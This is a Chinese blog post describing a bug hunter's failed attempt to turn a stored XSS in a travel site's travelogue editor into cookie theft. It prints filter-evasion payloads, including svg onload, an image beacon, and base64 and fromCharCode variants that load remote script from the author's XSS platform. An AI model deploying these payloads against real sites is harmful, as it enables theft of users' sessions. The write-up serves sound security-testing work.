记一次失败的xss利用
mntn 渗透测试 8553浏览 · 2019-03-19 01:55

这几天在补天挖公益SRC的时候,针对一个旅游网站发起了挑战,因为之前就尝试挖过这个网站,所以有一丝熟悉感。经过3天的挖掘工作,发现了网站内基本没有CSRF防护,但是真正能利用的点就只有一个CSRF修改Email地址,于是我继续挖掘其他漏洞,今天终于有所发现。

一个xss

我在主站测试过后,把目标放到了它的其他业务上,比如这个社区功能。社区功能可以发表游记,和主流的旅游网站一样(比如携程、去哪儿),游记是个值得测试的功能点,毕竟它有那么多输入输出,很可能存在xss(因为我之前就在这个网站上挖到过xss,所以感觉它的xss防护并不是很好)。

编辑页面如上,我首先正常走了一边流程,然后开始一个输入一个输入的测试。首先是标题,输入最简单的xss弹窗payload
<script>alert(1)</script>,然后点击预览,提示我有脚本代码

然后我换成svg的payload<svg/onload=alert(1)>,点击预览,成功弹窗。

现在,我应该发现了一个xss,而且还是存储型的。

转折

我随便填了点游记内容,提交发现需要审核,那么我们的弹窗代码肯定会吓到审核的,铁定过不了,那么我需要把payload换成盗取cookie的payload,但是<script>被过滤,我们需要换其他的关键词,我测试了这个Github项目上的xss payload,结果很多payload的关键词都被列入了黑名单

<img src=1 onerror=***>
eval
script

我又尝试了这个payload

<svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">

这个payload会访问我的xss平台项目,但是img标签的src属性并不会去加载脚本,所以也没什么用,我只能去请求一个图片探针,记录referer、IP、浏览器等信息。

同样的,项目里的<embed src=//14.rs>也不能得到cookie,想要利用这个标签执行脚本需要加上属性值alwaysscript,但是script又被过滤,所以这个payload也没用。
难道我的xss就只能自娱自乐的self-xss了?

柳暗花明?

谷歌一番之后,我又找到了这个非常nice 的payload

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

这个payload没有常见的关键字,非常nice,只要不编码尖括号和引号,这个payload应该很好用,在使用的时候要注意base64编码的正确性,我一开始使用的编码网站有问题,导致编码结果出错,payload执行也出错。
把它改成我的xss平台项目链接之后,预览一下,完美!

网站对你发送了一条消息:呵呵

标题过长?行,我去内容里写,但是提交审核之后,回头去内容,发现内容被篡改了

可以看到,text/html中间的斜杠没有了,而且在源码里,空格也被实体编码了,导致整个payload都失效了。

然后,我又尝试了类似的payload

<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

依旧空格被实体编码,于是我把空格换成了反斜杠/

<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

结果,居然提示我有非法字符

xss利用失败了呐,今天又是失败的一天呢。

2个xss payload集合
xss其他标签下的js用法总结大全
s0md3v/AwesomXSS

4 条评论
某人
表情
可输入 255
目录